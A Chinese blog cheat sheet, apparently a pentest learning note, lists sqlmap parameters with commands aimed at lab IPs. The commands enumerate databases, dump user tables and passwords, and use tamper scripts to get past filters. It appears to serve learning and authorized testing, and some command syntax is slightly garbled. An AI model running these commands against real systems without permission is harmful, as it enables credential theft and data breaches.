sql注入知识----sqlmap常用参数

本文详细介绍了SQLMap工具的各种常用参数,包括数据库操作(如查看数据库、表和字段)、密码获取、多线程、非交互模式、设置post提交方式、技术手段选择、绕过脚本以及数据库连接方法,为SQL注入测试提供了全面指南。
摘要由CSDN通过智能技术生成

在知道注入点在哪里时通过’ * ‘进行测试 工具会识别’ * '并在这里测试

一、数据库常用(–current-db/–passwords/–batch/–start x1 --stop x2 )

  1. –current-db //查看当前的数据库
  2. –passwords //查看所有密码
  3. –batch //按照软件默认设置,自动回答
  4. –start x1 --stop x2 //输出从x1到x2的啥啥啥
python sqlmap.py "http://192.168.74.143:86/Less-10/index.php?id=1" --threads=20 --level=5 --risk=3 --dbms=mysql -D security -T users --column
python sqlmap.py "http://192.168.74.143:86/Less-10/index.php?id=1" --threads=20 --level=5 --risk=3 --dbms=mysql -D security -T users -C username,password --dump

二、参数:–answers

使用“–batch”以非交互模式运行时所有问题都以按默认值作为回答。有时不想以默认值为答案又想使用非交互模式,此时可以使用参数“–answers”对特定问题进行回答,若回答多个问题,以逗号分隔。

  python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--technique=E --answers="extending=N" --batch

三、 参数:–threads

表示线程数最大20 一般5线程就行了

四、sqlmap最基本的参数及顺序

1.–dbs //列出所有数据库
2.–current-db //获取当前数据库名称
3.–tables -D “ ” //获取指定数据库中的表
4.–columns -T “4” -D “3” //获取数据库3中的4表的所有字段(列名)
5.–dump -T " " -D " " -C " " //列出所有数据库的表的字段的数据

五、–level和–cookie参数

3.sqlmap设置cookie ,等
–level 1,2,3,4,5(设置越高检测越全,我直接5)无敌
2以上的会对cookie进行检测
–cookie,–cookie-del,–load-cookies,–drop-set-cookie
1.场景:需要cookie
2.cookie值上的SQL注入漏洞
3.sqlmap设置http协议认证

六、sqlmap设置post提交方式并查看指纹(-f fingerprint )

sqlmap设置post提交方式 -f fingerprint 指纹
(1)(sqlmap -u http=“xxxxxx” --data=“id=1” -f --banner --dbs -users)
(2)(-methood = post)进行转换

七、与burpsuite联合

1.参数 -l BP联合

八、参数:–technique(指定sql注入的手段)

B:bool类型
E:Error类型
U:联合查询
S:stacked queries (要对目标系统进行文件操作,操作系统,注册表操作,必须指定S)
T:时间检测
–time-sec
基于时间注入检测相对应的延迟时间

九、常用绕过脚本

例:--tamper(https://pinx.o/2019/06/24/sqlmap-tamper%E8%AF%A6%E8%A7%A3/)
sqlmap -u [url] --tamper [模块名]
sqlmap的绕过脚本在目录usr/share/golismero/tools/sqlmap/tamper下

(1)base64编码base64encode.py

适用数据库:ALL
作用:替换为base64编码
使用脚本前:tamper(“1’ AND SLEEP(5)#”)
使用脚本后:MScgQU5EIFNMRUVQKDUpIw==

(2)宽字节注入unmagicquotes.py

–tamper “unmagicquotes.py"——好使
不能注入可以在后面加上 --dbms mysql

(3)大小写随机替换randomcase.py

字符大小写随机替换,将payload随机大小写,可用于大小写绕过的情况

十、数据库连接

直连数据库(以mysql为例)
服务型数据库

(python sqlmap.py -d "mysql://admin:admin@192.168.1.1:3306/testdb" -f --banner --dbs --users

文件型数据库
在某些情况下,sqlmap需要覆盖默认参数分割符(如& in GET和POST数据),才能正确地分割和单独处理每一个参数。

python sqlmap.py -u "http://www.xxx.com/xxx.php"--data="query=foobar;id=1"--param-del=";" -f --banner --dbs --users--param-del=";")设置“;”为分隔符
  • 10
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

kui954

感谢各位的支持o(* ̄3 ̄)o

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值